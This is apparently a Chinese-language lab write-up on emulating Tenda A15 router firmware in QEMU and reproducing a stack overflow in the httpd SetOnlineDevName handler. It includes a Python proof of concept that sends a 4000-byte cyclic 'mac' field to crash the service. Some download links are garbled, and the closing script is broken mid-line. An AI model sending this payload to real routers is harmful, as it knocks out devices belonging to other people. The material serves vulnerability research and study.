Tenda A15 固件模拟与漏洞复现
环境检测
echo "--- 1. 固件解包工具检测 ---"
which sasquatch
echo -e "\n--- 2. QEMU 模拟环境检测 ---"
qemu-mipsel-static --version
qemu-system-mipsel --version
echo -e "\n--- 3. 调试工具检测 ---"
gdb-multiarch --version
echo -e "\n--- 4. 网络与依赖服务检测 ---"
brctl show
systemctl is -active rpcbind
固件解包
固件下载地址
提取固件
binwalk -Me US_A15V1.0 RTL_V15.13 .07 .13 _multi_TD01.bin
终端会滚动输出很多信息,并且在当前目录下会生成一个以 _固件名.extracted 结尾的新文件夹,里面包含一个 squashfs-root 目录。这就是路由器里的完整 Linux 文件系统了!
查看程序信息
file bin /httpd
将 x86 架构下的 MIPS 翻译器(QEMU)复制到当前假根目录中:
cp $(which qemu-mipsel-static) .
使用 chroot 将当前目录作为根目录,启动 httpd 服务
sudo chroot . ./qemu-mipsel-static ./bin /httpd
没反应,ip地址错误,没有布置监听
文件系统修补
在真实的 IoT 设备中,根文件系统(也就是提取出来的 squashfs)通常是只读的(Read-Only) 。
但是,httpd 服务在运行时,必须生成一些动态数据,比如:
记录当前进程号的 PID 文件
用户的 Session 缓存、临时上传的配置文件。
运行时的网络状态(/var/run)。
真实路由器的做法 :在系统刚通电开机时,操作系统的启动脚本(init)会在内存中划分出一块区域(tmpfs,也就是内存虚拟盘),然后把 /var、/tmp 等需要频繁读写的目录挂载到这个内存盘上。接着,它会把出厂默认的配置文件(存放在以 _ro 即 Read-Only 结尾的目录里)复制到真正的运行目录中。
我们的模拟环境 :提取出的 squashfs-root 只是固件在关机状态下的静态文件。它缺少了开机时动态创建的那些目录,而且真正的配置文件还在 etc_ro 里睡大觉,真正的网页文件还在 webroot_ro 里。
在目录etc_ro中有init.d目录,其中的文件就是启动项,但是不能直接去启动它,因为它包含 mount -t ramfs 等命令会因为权限问题报错并且/sbin、/etc 等绝对路径与实际不符合
更改方法
照抄 rcS 的 mkdir 动作
执行 rcS 里的文件拷贝 :把 etc_ro 和 webroot_ro 里的资源部署到位。
加入 strace 发现的补丁 :加上 /proc、/sys、/dev 的 mount 动作。
下图是etc_ro中有init.d的rcS的内容
mkdir -p ./var/etc
mkdir -p ./var/media
mkdir -p ./var/webroot
mkdir -p ./var/etc/iproute
mkdir -p ./var/run
mkdir -p ./var/etc/udhcpc
mkdir -p ./var/debug
mkdir -p ./dev/pts
mkdir -p ./var/ppp
mkdir -p ./tmp
cp -rf ./etc_ro/* ./var/etc/
cp -rf ./webroot_ro/* ./var/webroot
挂载(Mount):给程序装上“传感器,proc、sys、dev ,路由器程序(httpd)运行的时候,会去 /proc 里看系统状态。如果不挂载,它看到的文件夹就是空的,它会觉得自己跑在一个“死掉”的系统里,然后直接报错退出。
sudo mount -t proc /proc ./proc
sudo mount -t sysfs /sys ./sys
sudo mount --bind /dev ./dev
软链接
sudo ln -snf ./var/webroot ./webroot
网卡接口配置
为了“伪造”出路由器程序赖以生存的硬件环境,并打通与该程序之间的通信链路,让固件正常运行,我们必须在 Linux 内核中伪造出它所需的网络拓扑
静态分析看到应该是br0和80端口
sudo brctl addbr br0
sudo ip addr add 192.168 .0 .1 /24 dev br0
sudo ip link set br0 up
然后再次执行
sudo chroot . ./qemu-mipsel-static ./bin /httpd
漏洞静态分析
initWebs是初始话web界面,并根据提交表单调用相应功能
API 路由表
websFormDefine("前端名字", 后端C函数名)
大佬的说要多关注带有set的功能,因为大多数是需要接受前端数据,进行设置操作的,因此存在较高的安全风险
分析处理SetOnlineDevName 请求的formSetDeviceName 函数,其中的set_device_name发现漏洞
没有对字符串长度校验,使用sprintf会造成栈溢出漏洞导致程序崩溃
在常规 Pwn 题里,接收输入的是 read(0, buf, size) 或者 gets(buf),直接从标准输入流读。
而在 Tenda 路由器的 formSetDeviceName 函数里,它绝对不会调用 scanf 或 read 等待你输入。websFormHandler 会把 HTTP POST 请求全部接收完毕,并解析成了内存里的一个字典结构
import requests
from pwn import cyclic
ip = '192.168.0.1'
url = f'http://{ip} /goform/SetOnlineDevName'
payload = {
"mac" : cyclic(4000 ),
"devName" : "devname1"
}
print ("[*] 正在发送 4000 字节的终极探针..." )
try :
requests.post(url=url , data=payload, timeout=2 )
except Exception:
print ("[+] 目标已彻底断开,绝对当场暴毙!" )
但是运行结果非预期,程序并没有崩溃,还打印了信息device name setted failed!和 set device name error!
在ida中追踪发现是调用tpi_set_mac_info失败
可以用IDA进行patch,直接把跳转指令nop掉就达到我们的目的了
之后再运行就可以了
系统模拟对比
系统级模拟(System-mode Emulation)相当于在 Kali 里用 VMware 跑了一个完整的虚拟机。
对比维度
用户态模拟 (qemu-user-static)
全系统模拟 (qemu-system)
模拟层级
仅模拟 CPU 指令集和系统调用
模拟整个硬件平台(CPU、总线、外设)
运行对象
单个 二进制 ELF 文件(如 httpd)
完整 的操作系统(Kernel + 文件系统)
真实度 (Fidelity)
较低。极易遇到 NVRAM 缺失、IPC 通信失败的问题
极高。几乎等同于一台真实的物理路由器
资源消耗与速度
极低,启动秒开,非常适合快速跑 Fuzzing
较高,需要完整的开机自检,启动耗时
网络环境
默认共享 Kali 的本地网络(127.0.0.1 极其方便)
需要配置复杂的虚拟网卡(TAP/TUN/br0)来进行桥接
应用场景
快速验证溢出漏洞、逆向分析单一函数的算法
测算真实偏移量、编写完整 RCE Exploit、研究内核提权
维度
用户态模拟 (User-mode)
系统级模拟 (System-mode)
定位
微观: 死磕某个具体的二进制程序(如 httpd)
宏观: 运行整个固件系统,看整体效果
优势
快、纯净、调试极方便。 配合 pwndbg 就像在本地调试一样顺滑。
真实。 网络、内核、文件系统环境完整,不需要手动补齐依赖。
痛点
硬件缺失。 经常会因为找不到 NVRAM 或特定的硬件驱动而崩溃。
重、慢、坑多。 配置网络桥接和内核非常折磨人。
适用场景
编写 Exploit (Pwn): 构造 ROP 链、计算偏移、调试内存。
漏洞搜索: 用 Burp Suite 抓包、分析 Web 逻辑、验证最终利用。
我们在用户态成功运行的基础上继续执行,在ubuntu中造出一块虚拟网卡和两块虚拟测试板,让它们能和 QEMU 里的 MIPS 虚拟机互相“打通”。
宿主机配置虚拟网卡
系统态 QEMU 启动后是一个完全独立的黑盒,我们需要在ubuntu上拉一根“虚拟网线(tap0)”连到虚拟机上。
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo ip addr add 10.10 .10 .1 /24 dev tap0
现在复现的是 Tenda A15,它的芯片是 MIPS 小端序 (mipsel) 。所以需要寻找支持 mipsel 架构的内核和镜像
wget 4f8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3!0H3L8r3g2Q4x3X3g2V1k6h3u0A6j5h3&6Q4x3X3g2G2M7X3N6Q4x3V1k6Q4y4@1g2S2N6i4u0W2L8o6x3J5i4K6u0r3M7h3g2E0N6g2)9J5c8X3#2A6M7s2y4W2L8q4)9J5c8Y4k6E0L8r3W2F1N6i4S2Q4x3X3b7`. 3.2 .0 -4 -4kc-malta
wget aadK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3!0H3L8r3g2Q4x3X3g2V1k6h3u0A6j5h3&6Q4x3X3g2G2M7X3N6Q4x3V1k6Q4y4@1g2S2N6i4u0W2L8o6x3J5i4K6u0r3M7h3g2E0N6g2)9J5c8X3#2A6M7s2y4W2L8q4)9J5c8X3c8W2j5X3W2S2L8W2)9#2k6Y4N6Z5k6h3g2*7P5g2)9#2k6X3#2A6M7s2y4W2L8q4)9#2k6Y4y4@1j5h3&6V1j5i4u0V1i4K6u0W2M7h3y4G2N6K6t1`.
按下虚拟 MIPS 电脑的电源键
sudo qemu-system-mipsel \
-M malta \
-nographic \
-kernel vmlinux-3.2 .0 -4 -4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-net nic,macaddr=52 :54 :00 :12 :34 :56 \
-net tap,ifname=tap0,script=no,downscript=no \
-append "root=/dev/sda1 console=ttyS0"
参数
相当于组装电脑时的...
mipsel
选一个 MIPS 的 CPU
-M malta
选一块 Malta 牌主板
-kernel
给 CPU 加载指令集(灵魂)
-hda
插上一块装好系统的硬盘
-net tap
插上一根连接 Kali 的网线
console=ttyS0
把显卡线插到串口监视器上
滚动停止后,会出现:
Debian GNU/Linux 7 debian-mipsel ttyS0` `debian-mipsel login:
这时请输入:
配置虚拟机内部网络,把网络打通并伪造网桥:
ip addr add 10.10 .10 .2 /24 dev eth0
ip link set eth0 up
ip link add br0 type dummy
ip addr add 10.10 .10 .3 /24 dev br0
ip link set br0 up
因为虚拟机现在是空的,我们需要从的宿主机把 squashfs-root 传过去。
在宿主机
cd ~/De/pwn_work/_US_A15V1.0 RTL_V15.13 .07 .13 _multi_TD01.bin .extracted/
tar -zcvf rootfs.tar.gz --exclude='*.qcow2' squashfs-root/
python3 -m http.server 8000
在虚拟机终端:
wget http://10.10 .10 .1 :8000 /rootfs.tar.gz
tar -zxvf rootfs.tar.gz
cd squashfs-root/
虚拟机:挂载并启动
在虚拟机终端继续执行:
cd squashfs-root
mount -t proc /proc ./proc
mount -t sysfs /sys ./sys
mount --bind /dev ./dev
mkdir -p ./var/run ./var/etc ./var/webroot ./etc
cp -rf ./etc_ro/* ./etc/
cp -rf ./etc_ro/* ./var/etc/
cp -rf ./webroot_ro/* ./var/webroot
ln -snf ./var/webroot ./webroot
chroot . ./bin /httpd
脚本要把ip地址改一下
import requests
from pwn import cyclic
ip = '10.10.10.3'
url = f'http://{ip} /goform/SetOnlineDevName'
payload = {
"mac" : cyclic(4000 ),
"devName" : "devname1"
}
print ("[*] 正在发送 4000 字节的终极探针..." )
try :
requests.post(url=url , data=payload, timeout=2 )
except Exception:
print ("[+] 目标已彻底断开,绝对当场暴毙!" )
最后再放一个模板
WORK_DIR="debian-mipsel-qemu"
IMAGE_FILE="debian_squeeze_mipsel_standard.qcow2"
KERNEL_FILE="vmlinux-2.6.32-5-4kc-malta"
START_SCRIPT="start.sh"
if [ ! -d "$WORK_DIR" ]; then
echo "创建目录 $WORK_DIR..."
mkdir -p "$WORK_DIR"
fi
cd "$WORK_DIR" || { echo "无法进入目录 $WORK_DIR" ; exit 1 ; }
download_file() {
local url=$1
local file=$2
if [ ! -f "$file" ]; then
echo "正在下载 $file..."
wget "$url" -O "$file" || { echo "下载失败" ; exit 1 ; }
else
echo "$file 已存在,跳过下载"
fi
}
download_file "b3eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3!0H3L8r3g2Q4x3X3g2V1k6h3u0A6j5h3&6Q4x3X3g2G2M7X3N6Q4x3V1k6Q4y4@1g2S2N6i4u0W2L8o6x3J5i4K6u0r3M7h3g2E0N6g2)9J5c8X3#2A6M7s2y4W2L8q4)9J5c8W2)9J5y4p5W2y4b7f1N6q4i4K6g2X3c8V1W2x3c8b7`.`. " "$IMAGE_FILE"
download_file "d07K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3k6h3!0H3L8r3g2Q4x3X3g2V1k6h3u0A6j5h3&6Q4x3X3g2G2M7X3N6Q4x3V1k6Q4y4@1g2S2N6i4u0W2L8o6x3J5i4K6u0r3M7h3g2E0N6g2)9J5c8X3#2A6M7s2y4W2L8q4)9J5c8W2)9J5y4p5E0q4f1V1&6q4e0q4)9#2k6V1k6u0e0p5f1`. " "$KERNEL_FILE"
echo "生成启动脚本..."
cat > "$START_SCRIPT" << 'EOF'
sudo qemu-system-mipsel \
-nographic \
-M malta \
-kernel vmlinux-2.6 .32 -5 -4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-net nic,macaddr=52 :54 :00 :12 :34 :56 \
-net tap,ifname=tap0,script=no,downscript=no \
-append "root=/dev/sda1 console=tty0"
EOF
chmod +x "$START_SCRIPT"
required_files=("$IMAGE_FILE" "$KERNEL_FILE" "$START_SCRIPT" )
missing_files=()
for file in "${required_files[@]}" ; do
if [ ! -f "$file" ]; then
missing_files+=("$file" )
fi
done
if [ ${
echo "错误:以下文件缺失:"
printf ' - %s\n' "${missing_files[@]}"
exit 1
fi
echo "正在启动QEMU虚拟机..."
./"$START_SCRIPT"